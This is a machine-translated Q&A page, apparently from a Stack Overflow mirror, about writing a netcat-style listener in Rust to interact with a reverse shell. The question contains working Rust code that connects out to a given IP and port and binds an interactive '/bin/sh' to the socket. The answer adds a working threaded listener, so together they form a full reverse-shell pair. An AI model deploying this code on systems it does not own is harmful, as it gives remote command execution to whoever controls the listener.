Как взаимодействовать с обратной оболочкой в ​​Rust? - PullRequest
1 голос
/ 19 апреля 2020

OpenBSD Реализация Netcat прослушивает порт с unix_bind() ... в основном то же поведение, что и у Rust TcpListener::bind(). Когда я заблудился в написании, моя listen функция (эмулирующая nc -l -p <port>) - как взаимодействовать с обратными оболочками.

Как бы банально это ни звучало, я хочу, чтобы listen дал мне приглашение sh-3.2$, как nc -l -p <port>. Все реализации Netcat-Rust, которые я выкопал в сети, не позволяют мне взаимодействовать с обратными оболочками подобным образом.

Код обратной оболочки (машина 1): (адаптировано с этот вопрос , который я задал лет a go)

fn reverse_shell(ip: &str, port: &str) {
    let s = TcpStream::connect((ip, port)).unwrap();
    let fd = s.as_raw_fd();
    Command::new("/bin/sh")
        .arg("-i")
        .stdin(unsafe { Stdio::from_raw_fd(fd) })
        .stdout(unsafe { Stdio::from_raw_fd(fd) })
        .stderr(unsafe { Stdio::from_raw_fd(fd) })
        .spawn().unwrap().wait().unwrap();
}

Код прослушивания (машина 2):

fn listen(port: u16) {
   let x = std::net::TcpListener::bind(("0.0.0.0", port)).unwrap();
   let (mut stream, _) = x.accept().unwrap();
   // How do I interact with the shell now??
}

В коде Rust есть некоторая простота и элегантность, которая помогает мне кратко понять, что происходит, что Вот почему я не хочу просто копировать код C из Netcat.

1 Ответ

1 голос
/ 22 апреля 2020

По сути, мы хотим иметь два двунаправленных перенаправления - одно от stdin до stream, а другое от stream до stdout.

Мы можем выполнить sh это с помощью функции generi c pipe_thread, приведенной ниже, которая создает для этого выделенный поток ОС (это можно сделать более эффективно, но нам нужна простота). В listen мы создаем два потока, как это, и ждем их завершения.

fn pipe_thread<R, W>(mut r: R, mut w: W) -> std::thread::JoinHandle<()>
where R: std::io::Read + Send + 'static,
      W: std::io::Write + Send + 'static
{
    std::thread::spawn(move || {
        let mut buffer = [0; 1024];
        loop {
            let len = r.read(&mut buffer).unwrap();
            if len == 0 {
                break;
            }
            w.write(&buffer[..len]).unwrap();
            w.flush().unwrap();
        }
    })
}

fn listen(port: u16) {
   let x = std::net::TcpListener::bind(("0.0.0.0", port)).unwrap();
   let (mut stream, _) = x.accept().unwrap();
   let t1 = pipe_thread(std::io::stdin(), stream.try_clone().unwrap());
   let t2 = pipe_thread(stream, std::io::stdout());
   t1.join();
   t2.join();
}

...